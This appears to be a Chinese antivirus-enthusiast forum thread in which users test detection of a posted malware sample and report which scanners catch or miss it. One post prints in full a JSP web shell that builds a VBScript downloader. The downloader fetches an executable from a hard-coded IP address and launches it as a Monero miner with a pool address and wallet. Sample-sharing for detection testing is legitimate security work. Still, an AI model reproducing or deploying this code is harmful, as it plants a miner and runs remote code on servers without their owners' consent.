挖矿一枚

显示全部楼层 · 发表于 2023-7-14 11:59:26

目前过360、avast、adaware、eset、symantec

显示全部楼层 · 发表于 2023-7-14 12:01:26

本帖最后由 nikonikoni 于 2023-7-14 12:09 编辑

->||<-<%@ page language="java" import="java.io.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme() + "://"+ request.getServerName() + ":" + request.getServerPort()+ path + "/";%><html><head><title>shell</title></head><body><%String cmds = "monitor.sh";try {Process process;process = Runtime.getRuntime().exec("cmd /c echo Set xPost = CreateObject("Microsoft.XMLHTTP") > hu4.vbs&@echo xPost.Open "GET","http://172.104.190.64:8220/3.exe",0 >> hu4.vbs&@echo xPost.Send() >> hu4.vbs&@echo Set sGet = CreateObject("ADODB.Stream") >> hu4.vbs&@echo sGet.Mode = 3 >> hu4.vbs&@echo sGet.Type = 1 >> hu4.vbs&@echo sGet.Open() >>hu4.vbs&@echo sGet.Write(xPost.responseBody) >>hu4.vbs&@echo sGet.SaveToFile "3.exe",2 >>hu4.vbs&@cscript hu4.vbs&@start 3.exe --donate-level=1 -k -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x");InputStreamReader ir = new InputStreamReader(process.getInputStream());LineNumberReader input = new LineNumberReader(ir);String line;process.waitFor();while ((line = input.readLine()) != null){out.print(line);out.print("<br/>");}if(input!=null){input.close();}} catch (Exception e) {e.printStackTrace();}%></body></html>

复制代码

直接拿这个试罢，后缀jsp

显示全部楼层 · 发表于 2023-7-14 12:05:09

事件: 无法处理
用户: MOLA-LAPTOP
用户类型: 活动用户
组件: 病毒扫描
结果: 未处理
结果说明: 未处理
类型: 可能会被入侵者利用以破坏您的计算机或个人数据的合法软件
名称: not-a-virus:HEUR:RiskTool.Script.BitMiner.gen
精确度: 启发式分析
威胁级别: 低
对象类型: 文件
对象名称: 1505493750.jsp
对象路径: D:\edge download\挖矿\b113cafcc86a8691d7721c74e42faa8ce1dcd939a1a0cd8eb819bbfbab362af0\b113cafcc86a8691d7721c74e42faa8ce1dcd939a1a0cd8eb819bbfbab362af0//
对象的 MD5: E1E788D46BF01883FE8ED5D92C6D36DF
原因: 已跳过

显示全部楼层 · 发表于 2023-7-14 12:30:06

BDIS
挖矿\b113cafcc86a8691d7721c74e42faa8ce1dcd939a1a0cd8eb819bbfbab362af0\b113cafcc86a8691d7721c74e42faa8ce1dcd939a1a0cd8eb819bbfbab362af0=>1505493750.jsp Application.BitCoinMiner.RD

显示全部楼层 · 发表于 2023-7-14 14:07:21

EMSI

显示全部楼层 · 发表于 2023-7-14 15:08:03

360 kill

显示全部楼层 · 发表于 2023-7-14 15:36:24

hhhq316 发表于 2023-7-14 14:07
EMSI

eek么？我用eek好像一开始也不行

显示全部楼层 · 发表于 2023-7-14 15:36:45

GD 1X
APEX Unable to scan
ADAWARE MISSED
T3 MISSED
360 1X

显示全部楼层 · 发表于 2023-7-14 15:41:14

aikafans 发表于 2023-7-14 15:36
eek么？我用eek好像一开始也不行

不是EEK，EMSI家庭版

显示全部楼层 · 发表于 2023-7-14 15:44:25

hhhq316 发表于 2023-7-14 15:41
不是EEK，EMSI家庭版

那确实不一样，eek一开始没检测出来

[病毒样本] 挖矿一枚

本帖子中包含更多资源

本帖子中包含更多资源